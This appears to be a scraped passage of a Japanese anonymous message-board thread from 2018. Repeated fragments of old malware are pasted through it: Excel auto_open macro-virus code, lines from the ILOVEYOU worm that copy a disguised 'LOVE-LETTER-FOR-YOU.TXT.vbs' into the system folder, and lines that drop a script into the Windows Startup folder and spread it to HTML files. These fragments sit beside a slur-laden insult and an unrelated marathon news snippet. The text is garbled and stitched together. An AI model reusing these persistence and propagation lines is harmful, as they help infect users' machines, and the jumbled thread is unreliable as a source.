Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 0176Anonymous2018/06/06(水) 18:40:46.08ID:7FiSTM/O 公開垢でツイッターを荒らしてスレまで荒らして住み分けの出来ないガイジ 0177Anonymous2018/06/06(水) 18:43:52.45ID:a6yDNNOR so.copyfile "dirsystem&nullpo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
c.Copy(dirsystem&"\.vbs")
Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 0178Anonymous2018/06/06(水) 18:45:36.53ID:a6yDNNOR 10キロは午前9時30分、30キロは同11時30分に号砲が鳴る。 名将がほれ込む鷲見梓沙(20)がキャリア初の女子30キロに挑戦する。